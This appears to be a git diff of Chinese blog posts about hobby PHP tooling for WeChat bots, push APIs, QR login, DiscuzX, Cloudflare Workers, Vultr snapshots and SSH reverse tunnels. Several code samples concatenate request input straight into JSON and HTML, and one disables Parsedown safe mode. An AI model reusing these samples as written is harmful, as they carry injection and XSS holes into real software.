前段时间,我做出来了[能发图片的机器人](/2021/02/19/picbot.html)做出来之后我拿给群友们体验但是很遗憾的是那个代码实在是不太行首先有2个问题第一是微信获取`access_token`的次数是有限的,我的第一版代码在每一次调用都去获取`access_token`,这样很快次数就会消耗光,后来我稍微改进了一下,设置了个缓存,结果呢,我检测的时候用了次数更少的接口……简直是太蠢了……之后呢?结果今天发现代码里有两个获取`access_token`的地方,缓存完全没起到作用……
总之上面的问题各种波折总算是解决好了,然后还有一个问题是我的图片来源是[Lolicon API](https://api.lolicon.app/setu)然后调用限制是300次/天说实话对于一个人来说这个数量是够了但是如果有很多人像测试号最多能容纳100人那每天每人也就只有3次调用的机会。
那要怎么解决调用次数的问题呢?我首先想的就是缓存结果。
# 解决API调用次数过少的问题
因为对于图片来说,基本上没有什么变化的信息,所以如果能将每一次的结果缓存的话其实也没有问题。所以说干就干,我单独开了一个仓库[pixiv-index](https://github.com/Mabbs/pixiv-index)用来存储缓存的结果具体代码的话都在这个仓库里面每天会调用那个API直到用完次数。
考虑到大多数情况下也不需要原图所以这个API里的图片都只是长或宽最大为1200px的缩略图。
使用方法也很简单像PHP的话就可以这样写
```php
<?php
$raw=json_decode(file_get_contents("https://mabbs.github.io/pixiv-index/index.json"),true);
echo file_get_contents('https://mabbs.github.io/pixiv-index/data/'.$raw[rand(0,count($raw)-1)]);
```
虽然问题解决了但是我发现了一个巨大的缺陷我设计这个脚本的初心是想着它有非常多的数据供我调用结果我发现我错了之前没有仔细看他们的文档现在看了才发现我想要的图片他们也只有仅仅3361张而已实在是太少了而总共的图片数量也只有17285张而已即使那个站的数据也在以非常缓慢的速度增加……
我只是懒得去别的地方找而且因为这个API作者说那些图片都是Ta精心挑选的我才特意写了那个仓库的那些脚本还特地学了一下Github Action…… ~~(虽然实际上是抄的那个[给开发者账号续命的](https://github.com/wangziyingwen/AutoApiSecret)那个仓库lol~~
# 新的代码
解决了那些问题之后我又稍微优化了一下把聊天机器人的功能剥离掉了免得那个图灵机器人的API让人混乱。
```php
<?php
$appid='微信appID';
$secret='微信appsecret';
$token='和配置的Token配置一致即可';
$source='https://i.pximg.net';
ini_set('session.gc_maxlifetime', 7200);
ignore_user_abort(true);
set_time_limit(0);
session_id('Storage');
session_start();
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
}
if($_GET["upap"]){
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
$retry=3;
while(!$picdata||$retry<=0){
$raw=json_decode(file_get_contents("https://mabbs.github.io/pixiv-index/index.json"),true);
$picdata=file_get_contents($source.json_decode(file_get_contents('https://mabbs.github.io/pixiv-index/data/'.$raw[rand(0,count($raw)-1)]),true)['url'], false, stream_context_create(array('http' => array('method' => 'GET','header' => "referer: https://www.pixiv.net/"))));
$retry-=1;
}
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY,
'content' => "--".MULTIPART_BOUNDARY."\r\n".
"Content-Disposition: filename=\"image.jpg\"\r\n".
"Content-Type: image/jpg\r\n\r\n".
$picdata."\r\n".
"--".MULTIPART_BOUNDARY."--\r\n"
)
));
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='.$_SESSION['access_token'] , false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/json;charset=utf-8','content' => '{
"touser":"'.$_GET["openid"].'",
"msgtype":"image",
"image":
{
"media_id":"'.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/media/upload?access_token='.$_SESSION['access_token'].'&type=image', false, $context),true)['media_id'].'"
}
}'))));
exit();
}
$timestamp=$_GET["timestamp"];
$nonce=$_GET["nonce"];
$tmpArr=array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
if( sha1(implode($tmpArr)) == $_GET["signature"] ){
if($_GET["echostr"]){
echo $_GET["echostr"];
}else{
// 加载XML内容
$content = file_get_contents("php://input");
$p = xml_parser_create();
xml_parse_into_struct($p, $content, $vals, $index);
xml_parser_free($p);
if($vals[$index['MSGTYPE'][0]]['value'] == 'text'){
if($vals[$index['CONTENT'][0]]['value'] == '来点色图'){
echo '<xml>
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
<CreateTime>'.time().'</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[开始发起请求,请耐心等待]]></Content>
</xml>';
file_get_contents('https://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?upap=1&openid='.$vals[$index['FROMUSERNAME'][0]]['value'], false, stream_context_create(array('http' => array('timeout' => 0.5))));
}else{
echo 'success';
}
}
}
}else{
echo 'error';
}
```
2021.02.26更新似乎在库中的图片有一些是被删掉了所以为了提高回复的成功率增加了3次重试。
# 如何使用?
具体应该不需要我说了吧看之前的几篇关于微信机器人的文章里面的这段就行了。这里我删掉了2个参数又增加了2个一个是Token想填啥都行只要和测试号里配置一样就行。另一个是source那个是Pixiv的图片服务器如果后端服务器在国外那这个就不用管了如果在国内的话需要改成`https://i.pixiv.cat`来做反代或者如果有其他反代服务也可以自己用CloudFlare Worker建一个也没有问题。
# 结尾
那个Lolicon API实在是不好用不过我也懒得解决了所以就托学弟在做Pixiv日榜的收集回头看看效果怎么样实在不行就去研究一下各种各样的什么booru之类的图站吧用那些图片也是个不错的选择。

@ -0,0 +1,53 @@
---
layout: post
title: 做一个Server酱·TurboMini企业应用版
tags: [Server, PHP, 微信]
---
简单的事情应该自己去做<!--more-->
# 起因
这个月初由于Server酱要挂了然后Turbo版又要钱所以我特地写了一个[Server酱·TurboMini测试号版](/2021/02/02/serverchan.html)然而据那个开发Server酱的人说微信要下掉的是模板消息而不是故意坑人不做这个东西了。过了一段时间后那个开发者说可以用企业微信啥的通道继续搞顺便还给普通账户使用Turbo版的一点点权限然后价格似乎也稍微降了一点
但问题是我们之所以使用Server酱只是因为注册服务号很麻烦微信认证要主体所以我们才用用这个的人也应该都是开发者吧那如果说资源都是我们出的话还何必用那个一堆广告的Server酱呢而且想好好用还要花钱都是开发者了没必要交这种智商税吧
不过看在它还给我们推荐了些路子,那也就不用太过分的说它了吧。
# 如何制作?
我也倒是去看了看企业微信的开发文档,和公众号的开发文档那就是大同小异啊,所以今天依然是一句话解决问题:
```php
<?php
$cid='企业ID';
$agentId='应用ID/AgentId';
$secret='应用Secret';
$userid='@all';//用户ID不知道可以不改
$title='标题';
$content='内容';
file_get_contents('https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token='.json_decode(file_get_contents('https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid='.$cid.'&corpsecret='.$secret),true)['access_token'],false,stream_context_create(['http' => array('method'=>'POST','header'=>"content-type: application/json; charset=UTF-8",'content'=>'{"touser":"'.$userid.'","msgtype":"text","agentid":'.$agentId.',"text":{"content":"'.$title.'\n'.$content.'"}}')]));
```
从体验上来说的话这个企业应用版的体验还是不错的和测试号相比首先可以在主页显示虽然有二级但是两边的图标和名字都是可以自定义的而且API的调用次数也要比测试号多很多用起来还是挺不错的和测试号比唯一的缺点应该就是首次配置有点麻烦。
另外我在写这个东西的时候发现这个API还是和测试号的API不太一样测试号那个在发post请求的时候post可以小写但是这个垃圾企业微信的API的POST必须大写不然就400搞得我调试了半天才调试好。
# 如何配置?
一样这个是兼容Server酱的需要的参数和Server酱需要的一样多所以配置也是完全兼容的。不过考虑到Server酱可怜的连每月5kw次请求都受不住配置方法我就在这里再写一遍吧
## 第一步,注册企业
用电脑打开[企业微信官网](https://work.weixin.qq.com/),注册一个企业
## 第二步,创建应用
注册成功后,点「管理企业」进入管理界面,选择「应用管理」 → 「自建」 → 「创建应用」
应用名称随便填比如「Mayx的机器人」应用logo随便找一个就行可见范围可以选择自己如果想推送给其他人就选公司。
创建完成后进入应用详情页可以得到应用ID(agentid)应用Secret(secret),复制并填到代码中。
## 第三步获取企业ID
进入「[我的企业](https://work.weixin.qq.com/wework_admin/frame#profile)」页面拉到最下边可以看到企业ID复制并填到上方。
推送UID不知道怎么填就直接填`@all`,推送给公司全员。
## 第四步,推送消息到微信
进入「我的企业」 → 「[微信插件](https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin)」,拉到下边扫描二维码,关注以后即可收到推送的消息。
这里一样图标觉得不好看也可以自己改。
# 可以改进的地方
首先目前的这个版本是直接发送的信息所以不支持Markdown看起来也很丑。其实呢我看文档里有说可以直接发Markdown消息不过这样的话微信接收不到……
其实测试号版那个我看完文档之后就在想如果能把内容写到图文消息里也不错啊,可惜图文消息那个要一张头图,做不到开箱即用,这个企业微信版一样也有这个问题……
另外我还看到在文档里有一个文本卡片消息非常的不错但是有一个问题是我不知道为啥它的URL是必选的那这样的话同样我也没办法做到开箱即用……
当然要做的话也不难,自己去看[官方文档](https://work.weixin.qq.com/api/doc/90000/90135/90236)就好了,也没有多复杂。
另外测试号版就算模板消息不能用,那也不是不能推送啊,用[群发预览接口](https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Batch_Sends_and_Originality_Checks.html)不好吗虽然有每天100次的限制但又不是不能用啊而且还能减少对Server酱服务器的压力我看这所谓要捐助维护就是想着赚钱那么多广告早就够交服务器费用了我也是维护网站的还能不知道这请求要多少钱的服务器
然后看微信发的[下线模板消息的通知](https://developers.weixin.qq.com/community/develop/doc/000a4e1df800d82acb9b7fb5e5b001),应该大概率不会下线这个功能,只是说了灰度测试而已,有可能只是多加了比如授权之类的操作而已。
# 总结
其实要不是Server酱有那么多广告还以捐赠名义收费而且还限制那么多的话其实也还算不错的产品而且也是它给了我看微信开发文档的动力让我在假期里还有点事干。只是既然最重要的服务号就要没了那么它也该被开发者们放弃了吧。

@ -0,0 +1,35 @@
---
layout: post
title: 如何给DiscuzX添加像原生一样的404页面
tags: [PHP, DiscuzX]
---
简单的提高用户体验<!--more-->
# 起因
像现在的新网站,由于使用的引擎越来越先进,网站的路径看起来非常的不错,那些一般开发的时候把它叫做路由。
而过去的网站不一样以前的网站程序大多都是以文件形式存在访问的时候都是服务器程序去读取相对应的文件。像PHP算是有点年头了尤其像我这种不喜欢用框架就喜欢原生PHP的人更是如此。
但是以前也是有让访问的URL变得花里胡哨的办法的一般我们把那个叫做伪静态那个一般是由服务器程序根据规则把对应的路径重写成文件的物理地址。
不过也有不少引擎会把所有情况的路径重写到一个文件中,再由一个文件慢慢处理,其实这个已经算是路由了,像我之前写的[超简单反代](/2021/01/06/proxy.html)就是这样的包括一些博客引擎比如WordPress、Typecho等等还有一些CMS也支持。
然而很遗憾的是DiscuzX作为一款有年代的论坛引擎它不会接收所有的请求到处理程序中去这就导致了一个问题那就是错误的请求不会由DiscuzX处理而是由服务器程序处理。
所以DiscuzX在遇到路径404的问题时就只是白底黑字大大的写着404 Not Found而已很丑一般的处理方法也不过是自己单独整一个404页面显得和网站风格很不匹配。
所以今天我要解决这个问题,让这种有年代的程序也显得稍微现代化一点点。
# 解决方法
其实解决这个问题很简单调用DiscuzX的程序去生成这个页面就行了所以以下就是生成这个页面的代码因为是看着模板变量随便写的可能有多余的代码但反正能用
```php
<?php
define('CURSCRIPT', '404');
require './source/class/class_core.php';
C::app()->init();
$navtitle = "提示信息";
$show_message = "抱歉,您访问的页面不存在";
$alerttype = 'alert_error';
$allowreturn = 1;
$param['msgtype'] = 1;
include template('common/showmessage');
```
把这个文件保存为404.php然后放到网站根目录就行了然后再把服务器配置里的错误页面设置为这个文件像Nginx的话可以在server段里加一句`error_page 404 /404.php;`就OK了。
# 总结
目前来看好像我见到的几乎所有论坛即使不是DiscuzX都没能做到404页面和网站完美融合也许我是第一个写这种东西的人吗😀这样就能很简单的提高特别情况下的网站体验了吧……

@ -0,0 +1,38 @@
---
layout: post
title: 使用CloudFlare Workers做一些有趣的功能
tags: [CloudFlare, Workers]
---
挺不错但是还是不如PHP<!--more-->
# 起因
之前搞[微信图片机器人](/2021/02/23/picbotpro.html)的时候我看到P站的图片反代给了一个自己在CloudFlare Workers上建反向代理的[代码](https://pixiv.cat/reverseproxy.html)。
虽然我很早就在用CloudFlare也知道Workers这个功能不过我的JavaScript水平不太行而且当时这个功能还不够完善就没怎么管不过既然又见到了那就来玩玩试试看吧现在的这个Workers功能不仅已经很完善而且免费版的限制也少了很多甚至还支持1G的KV存储。
# 首先给自己搭个反代
之前我用PHP给自己的博客搭了一个[简单的反代](/2021/01/06/proxy.html)不过我用的那个服务商不太行速度有点慢而且也不是所有的PHP空间都支持伪静态。那既然有CloudFlare Workers那我们就来试试用这个实现吧。
代码如下:
```js
addEventListener("fetch", event => {
let url = new URL(event.request.url);
url.hostname = "mabbs.github.io";
event.respondWith(fetch(new Request(url, event.request)));
});
```
看起来代码好像更简单了可惜我的JavaScript水平不行最多只能照猫画虎自己写不来……
最终做出来的网址如下: <https://blog.mayx.workers.dev/> ,这也算是我博客的另一个为了在国内能访问的域名吧……如果自己有域名的话可以设置路由把其他域名绑在上面。
不过CloudFlare Workers也有一些缺陷那就是有请求次数限制免费版只有10w次/天的访问次数限制对于我这种小站还行大一点的请求次数一阵子就用光了相比于限流量的PHP空间用CloudFlare Workers做这种请求比较密集的站并不合适不过这个不限流量如果用来代理下载比较大的文件还是挺不错的。
# 给自己的网站搭一个Status Page吧
我在看Workers的一些介绍时看到了一个很有意思的东西就是Status Page用来监测网站可用性的看起来很有意思而且部署非常简单具体可以看[文档](https://github.com/eidam/cf-workers-status-page#getting-started)。
这个东西支持一键部署只要按照说明很轻松就能搭一个属于自己的Status Page另外我也给花火学园搭了一个[Hanabi Status Page](https://status.sayhuahuo.com/),看起来很专业的样子。
# 其他玩法
其实这就是所谓的Serverless的云函数吧我以前玩LeanCloud的时候就玩过了本质其实和那些虚拟网站空间差不多只是可能和平台的集成度更高有一堆自制的API所以效率更高吧。像OneIndex当时也有CloudFlare Workers版的就是功能有点少所以我还是搭的PHP版。
如果自己有能力开发的话利用那个KV存储其实想开发什么网站都可以而且这个支持的语言也很多甚至也支持PHP就是和一般的PHP感觉不太一样……
比如我之前开发的[图片机器人](/2021/02/23/picbotpro.html)、[Server酱自制版](/2021/02/26/serverchancorp.html)等等都可以用CloudFlare Workers重写。
像这样甚至自己写一个论坛都没问题不过免费版的限制还是挺多的虽然1G的KV存储还是挺大的但是10w次/天的访问还是太少了,要用的话还是不够……如果做成前后端分离的那种可能还好,一个页面就一次请求,要是没有分离的话访问一次就要请求好多次了,相比之下不考虑流量的话可能免费的虚拟网站空间还能支持更多的请求。
# 总结
总之现在Serverless也算是一个现在比较流行的东西有人说Workers是边缘计算不过我感觉现在应该不算了从云计算来看应该算PaaS吧还是BaaS后端即服务不是什么区块链倒是可以玩玩试试看不过也就小公司可能会因为相对便宜而用大公司肯定不会把业务放到这种东西上万一这个服务没了那曾经写的代码可能就全都没用了如果做了兼容层还好毕竟每一个平台的API都不一样现在的Serverless厂家又不可能统一成什么联盟挂了就没了但是在服务器上自己写和部署的代码无论是哪个服务器都可以运行所以这个也就只能是玩玩看未来这个可能不会有很大的发展。

@ -0,0 +1,65 @@
---
layout: post
title: 亲自体验微信推送的制作感受
tags: [微信, 推送]
---
感谢大佬完成了最复杂的部分😂<!--more-->
# 起因
我在上个月写了一个[Server酱Mini测试号版](/2021/02/02/serverchan.html),在此之后有位叫做[guanzi008](https://github.com/guanzi008)大佬看到了我的文章并愿意给我提供一个有微信认证的公众号让我体验一下Server酱的实际制作过程对此我表示非常感谢把最复杂的事情做完了。像那个Server酱那个平台说过Ta唯一做的事情就是注册了一个有微信认证的公众号而已毕竟微信开放文档傻子都能看懂没什么技术难度。
正好这次有了这个机会,我就可以真正体验一下测试号和通过了微信认证的服务号之间到底有什么样的区别。
# 实际体验
我以前虽然没有微信认证的公众号,不过曾经有用过同学注册的一个个人的公众号,那个是真的废物,接口几乎全都不能用……现在有了微信认证的公众号之后发现虽然这个非常不错,功能基本上该有的都有了,不过有一些地方还是和测试号各有千秋。比如说测试号的监察要松的多,像模板消息根本没有限制,而且无论发什么东西都不用担心封号。而这个认证公众号的监察就要严的多,直接发违法消息肯定是别想了,就说模板消息还必须要用已有的模板,用没有的必须要通过审核。另外我感觉那个所谓的模板消息下线应该是烟雾弹,人家官方文档说的很清楚,**服务号订阅通知功能开启灰度测试,模板消息能力可正常使用**,所以不用太担心。
那个所谓的订阅通知的功能我已经试过了很烂要想推送必须要让用户同意而且是每一次也就是说用户同意一次才有一次的通知权所以说就很废物。倒是有一个长期订阅就是搞起来非常麻烦。还好模板消息目前来看是只要申请就可以使用。所以接下来我就完善了一下我之前在测试号上用的代码增加了Access Token缓存支持POST请求并且增加了摘要、HTML、Markdown等功能代码如下
```php
<?php
$appid='公众号APPID';
$secret='公众号Secret';
$userid=$_GET['userid'];
$template_id='模板ID';
$title=addslashes($_REQUEST['title']);
$summary=addslashes($_REQUEST['summary']);
$content=addslashes($_REQUEST['content']);
$addHTML="";
session_id('Storagepush');
session_start();
if(!$summary){
$summary=$content;
}
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
}
if($_GET['type'] == "md"){
include_once("Parsedown.php");
$Parsedown = new Parsedown();
//$Parsedown->setSafeMode(true);
$content = $Parsedown->text($content);
$_GET['type'] = "html";
}
if($_GET['type'] == "html"){
$filename='html/'.md5(uniqid(mt_rand(), true)).'.html';
file_put_contents($filename, '<meta name="viewport" content="width=device-width, initial-scale=1"><title>'.$title.'</title><h1>'.$title.'</h1><hr>'.$content.'<hr><center>Powered By <a href="https://mabbs.github.io/">Mayx</a></center>');
$addHTML='"url":"https://'.$_SERVER['HTTP_HOST'].'/'.$filename.'", ';
}
echo file_get_contents('https://api.weixin.qq.com/cgi-bin/message/template/send?access_token='.$_SESSION['access_token'], false, stream_context_create(array('http' => array('method'=>'post','header'=>"Content-Type: application/json;charset=utf-8",'content'=>'{"touser":"'.$userid.'","template_id":"'.$template_id.'", '.$addHTML.'"data":{"first": {"value":"'.$title.'"}, "keyword1": {"value":"'.$summary.'"}, "keyword2": {"value":"'.date('Y-m-d H:i:s').'"}}}'))));
```
要想使用这个代码的话需要用到[Parsedown](https://github.com/erusev/parsedown)的库另外模板消息我用的是ID为`OPENTM207965242`的模板,如果有人想要用的话也建议用同一个模板。
另外对于用户的OPENID的获取……想用的话就自己想办法吧获取OPENID这种事情很简单。
从体验上来说应该是吊打Server酱那种垃圾而且还没有广告。理论上最大每日推送量是10w次当账号粉丝数超过10W/100W/1000W时模板消息的日调用上限会相应提升。不过这个不防滥用所以还是需要注意一点的。
# 使用文档
| 参数 | 是否必填 | 请求方法 | 内容 |
| - | - | - | - |
| userid | 是 | GET | 用户的OPENID |
| type | 否 | GET | html/md/空 |
| title | 否 | GET/POST | 标题 |
| summary | 否 | GET/POST | 摘要(不填默认为内容) |
| content | 否 | GET/POST | 内容 |
# 后续的改进
我目前用的公众号的所有人希望整一个像WxPusher的平台我大概看了一下那个东西果然还是个垃圾要推送必须用那个平台特有的API包括开源的那些乱七八糟的SDK也全部都是为那个所谓推送平台设计的另外模板的选择也是真的没什么品味体验实在是一般。所以目前似乎还没有一个像样的开源的微信推送平台那接下来就让我试试看吧我看看到底是为什么没有人愿意制作一个开源的微信推送平台吧

File diff suppressed because one or more lines are too long

@ -0,0 +1,94 @@
---
layout: post
title: 自制微信二维码登录API
tags: [微信, 登录, 验证, PHP]
---
二维码登录看来也不是什么复杂的东西嘛<!--more-->
# 起因
前段时间我用了一位大佬的认证公众号做了一个[微信推送](/2021/03/23/wxpush.html)的API并且希望把它做成像WxPusher那样的平台。但是吧……我想了想现在微服务不是比较火嘛WxPusher那种的实在是太臃肿了而且还是用Java写的那就更加垃圾了所以我决定把功能模块化让每一个功能都可以单独运行互不影响。
而今天我要做的就是允许A用户开发者使用微信扫描二维码的方式去获取B用户客户的用户ID。当然这种功能的话肯定还是用PHP完成的啦所以代码如下
# 代码
```php
<?php
$appid='公众号APPID';
$secret='公众号Secret';
$token='和配置的Token配置一致即可';
ini_set('session.gc_maxlifetime', 7200);
session_id('Storagepush');
session_start();
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
}
if(isset($_GET["action"])&&isset($_GET["key"])){
$_GET["key"]=addslashes($_GET["key"]);
if(strlen($_GET["key"])<6||strlen($_GET["key"])>32){
die("Bad Key");
}
if($_GET["action"] == "set"){
echo file_get_contents('https://api.weixin.qq.com/cgi-bin/qrcode/create?access_token='.$_SESSION['access_token'], false, stream_context_create(array('http' => array('method'=>'POST','header'=>"Content-Type: application/json;charset=utf-8",'content'=>'{"expire_seconds": 3600, "action_name": "QR_STR_SCENE", "action_info": {"scene": {"scene_str": "auth'.$_GET["key"].'"}}}'))));
}
if ($_GET["action"] == "get") {
if(isset($_SESSION['wxboxauth'.$_GET["key"]])){
echo $_SESSION['wxboxauth'.$_GET["key"]];
}else{
echo "Empty";
}
}
}else{
$timestamp=$_GET["timestamp"];
$nonce=$_GET["nonce"];
$tmpArr=array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
if( sha1(implode($tmpArr)) == $_GET["signature"] ){
if($_GET["echostr"]){
echo $_GET["echostr"];
}else{
// 加载XML内容
$content = file_get_contents("php://input");
$p = xml_parser_create();
xml_parse_into_struct($p, $content, $vals, $index);
xml_parser_free($p);
if(($vals[$index['EVENT'][0]]['value'] == "subscribe" || $vals[$index['EVENT'][0]]['value'] == "SCAN") && isset($vals[$index['EVENTKEY'][0]]['value'])){
if($vals[$index['EVENT'][0]]['value'] == "subscribe"){
$vals[$index['EVENTKEY'][0]]['value'] = substr($vals[$index['EVENTKEY'][0]]['value'],8);
}
$_SESSION['wxbox'.$vals[$index['EVENTKEY'][0]]['value']] = $vals[$index['FROMUSERNAME'][0]]['value'];
echo '<xml>
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
<CreateTime>'.time().'</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[成功请求登录!]]></Content>
</xml>';
}else{
echo "success";
}
}
}else{
echo "Fail";
}
}
```
# 使用文档
## 接口调用方法
| 参数 | 是否必填 | 请求方法 | 内容 |
| - | - | - | - |
| action | 是 | GET | set/get |
| key | 是 | GET | 6-32字节长度的随机字符串 |
## 说明
开发者需要先使用set方法设置一个存储用户OPENID的盒子使用key来命名为了避免重复这里推荐使用32位的UUID作为名称请求完成之后会获得一个有效时长为1小时的二维码的ticket和二维码的地址可以如果希望自己生成二维码可以使用返回的URL作为二维码的内容或者也可以调用微信的Ticket转二维码接口在`https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=`后面加上获得的Ticket就可以直接获得二维码的图片。
获取OPENID需要使用get方法去获得命名为key的盒子如果用户已经扫描了二维码那么调用此接口会直接返回扫描者的OPENID如果没有扫描或者用户扫描后超过了2个小时就会返回Empty以表示盒子为空。
## 使用示例
像我之前写的[微信推送](/2021/03/23/wxpush.html)中不是就需要这个用户的OPENID嘛假如一个网站想要主动给某些用户推送消息就可以先调用这个接口获得用户的OPENID然后存起来有必要时可以直接使用微信推送来给用户推送信息。另外这个OPENID是唯一的所以假如想做网站二维码扫描绑定登录同样也可以使用这个接口。具体实现就非常简单了所以示例代码我就不写了。
## 注意事项
像这个代码依然不防滥用,并且我也没有检验过安全性,是有很大可能有漏洞的。所以有懂安全的大佬也可以指点一下,来完善这个项目。

@ -0,0 +1,37 @@
---
layout: post
title: Mayx的运维笔记 - 隐藏自己
tags: [运维, 笔记, 隐藏]
---
互联网是个很危险的地方……<!--more-->
# 起因
最近几天我维护的花火学园貌似时不时的会爆内存……不过这倒是也是正常的事情PHP好像默认情况下不会自己释放内存我之前本来是想把那个运行模式改成ondemand但是看网上说好像都不怎么推荐……但是既然已经爆了几次内存那我也没得选了就把运行模式改了。
在检查服务器的这段时间里我发现居然有一个不自量力的家伙在爆破我的服务器看IP是159.89.47.109,随便访问了一下想不到上面还跑了个网站?不知道是这个网站被黑了变成肉鸡了还是这个网站的所有人确实脑子有问题……
# 解决IP泄露
总之无论如何这已经证明了论坛的真实IP已经泄露了因为我开了很多防火墙白名单对网络流量这一块限制的很严格所以正常情况下外面是不应该知道我的网站IP的不过我的SSH端口虽然改了但是因为我的位置经常在变所以这个并没有设置白名单。
不过还有一个可能性最近貌似有个自称Tyosakuken FANZA的家伙给我们的运营商发了DMCA投诉CloudFlare是真的会把真实IP告诉投诉者的。我不知道这个发投诉的人是个啥情况总之这个公司貌似是日本的先把日本的流量全封了再说。
另外IP肯定是要改了正好趁这个机会干脆再小幅度的升一下服务器的配置好了之前一直用的是Vultr的Cloud Compute这次试试High Frequency说不定速度会变快。于是我就用快照重新部署了一下服务器。结果在等它部署的期间居然睡着了😂这下可用率又要掉了。
不过SSH端口这个……我也不能每次要用的时候再去开它那样很麻烦所以……我想了想要不然就用frp吧直接不开放SSH端口流量就从frp里经过而且这个东西还支持访问验证这样也能避免被扫了不过我确实还是没办法确认这个东西的安全性不知道这到底是提高了破解难度还是放了个定时炸弹……毕竟它是可以无视防火墙的啊。
# 更新快照脚本
换了IP之后服务器的ID也跟着一起变了我正打算改这个东西的时候发现Vultr怎么也变了原来用的是SUBID现在变成了实例ID了……当时我不是很精通API所以是从[网上随便找的脚本](/2020/06/17/backup.html)现在我用PHP调API调的也算熟练了吧正好这次V1的API貌似要被废弃了我就看看文档整个V2的API吧。代码如下
```php
<?php
$api_key="APIKey";
$instance_id="实例ID";
file_get_contents("https://api.vultr.com/v2/snapshots", false, stream_context_create(array('http' => array('method'=>'POST','header'=>"Content-Type: application/json;charset=utf-8\r\nAuthorization: Bearer ".$api_key,'content'=>'{"instance_id": "'.$instance_id.'"}'))));
$snapshot_list=json_decode(file_get_contents("https://api.vultr.com/v2/snapshots",false,stream_context_create(array('http' => array('method'=>'GET','header'=>"Authorization: Bearer ".$api_key)))),true);
if($snapshot_list["meta"]["total"]>10){
file_get_contents("https://api.vultr.com/v2/snapshots/".$snapshot_list["snapshots"][0]["id"],false,stream_context_create(array('http' => array('method'=>'DELETE','header'=>"Authorization: Bearer ".$api_key))));
}
```
像这个也可以整合我之前写的[测试号通知](/2021/02/02/serverchan.html)或者[企业号通知](/2021/02/26/serverchancorp.html)来用用之前记得加上addslashes不然可能会出问题。
另外这个V2的API貌似还是RESTful的呢看起来倒是更简单易懂了。
# 总结
总之在网上一定要注意网站安全一旦有出问题的迹象要赶紧备份有必要的情况该换IP就只能换了。

@ -0,0 +1,63 @@
---
layout: post
title: 网络任意互联指南
tags: [网络, SSH, 指南]
---
SSH真的是太厉害了<!--more-->
# 起因
最近一段时间我对网络的各种连法很感兴趣比如说内网穿透端口映射或者说打隧道之类的。一般来说做这些事情应该都要装一些软件才行不过最近我发现居然平时很常用的SSH竟然包含所有我想要的这些功能真的是让我感觉很神奇。所以也许我已经火星了但是今天我还是想记录一下。
# 万能的SSH
如果你以为SSH就只是加密了的Telnet那可真是大错特错我感觉SSH想做的事情要更厉害它可能是想做一个加密的TCP上面可以跑各种应用而且防火墙还不知道里面跑的内容是什么。
不过最终它也没能取代TCP毕竟它本来就是基于TCP的而且其他很多功能用的人也很少这让我感觉很可惜……不过确实SSH啥都能干就是速度慢了亿点点……
所以我今天就来说一说它的功能和一些上位替代。
## 内网穿透
假如我有一台电脑在家,然后我还租了一个垃圾云服务器,服务器的性能很差但是家里的电脑性能很好。假如有一天我想在外面去玩我的电脑要怎么办呢?
一般来说家里的电脑都是在内网之中,而服务器都是在公网,任何一个地方都能访问,现在我如果想访问家里的电脑直接连难度很大,几乎是做不到的对吧,于是这时候我们可以让家里的电脑去连服务器,这样我们就有一条链路连接到家里的电脑了,然后我们再用别的设备去连服务器,这样我们就能间接访问我们的电脑了。
具体要怎么做呢很简单用SSH就能解决这个问题首先一般服务器上都装的是Linux系统一般都是自带OpenSSH的而且还是SSH服务端现在的Windows 10也是默认自带OpenSSH的只不过是客户端。所以首先我们要做的就是用家里的电脑去连服务器。这时候的连接不能直接SSH连过去普通的连没有任何作用只是登录到远程服务器上了而已我们必须要加上一些参数就像这样
```
ssh -R 3389:127.0.0.1:3389 root@remote-ip
```
执行这条指令之后系统仍然会正常的去连接到远程服务器上,但是你如果执行一下`netstat -nlp`的话就可以发现SSH在本地也监听了一个3389的端口。不过默认的配置下SSH只会在服务器上映射这个端口在服务器外是连不上的另外如果说我只想穿透而不想打开服务器终端要该怎么办呢
首先默认不登录终端这个方法很简单,加点参数就可以,就像这样:
```
ssh -CfNR 3389:127.0.0.1:3389 root@remote-ip
```
这样启动穿透之后就不会在家里的电脑上一直开着服务器终端了,只会有一个黑框而已,当然因为用了`-f`参数你即使把黑框关了也不会影响。另外还有就是映射到服务器外这个问题其实这个问题也很好解决在sshd配置文件里把`GatewayPorts no`改成`GatewayPorts yes`,设置好了之后别忘了在服务器的防火墙和服务器托管商的防火墙那里放行端口。
## 端口映射
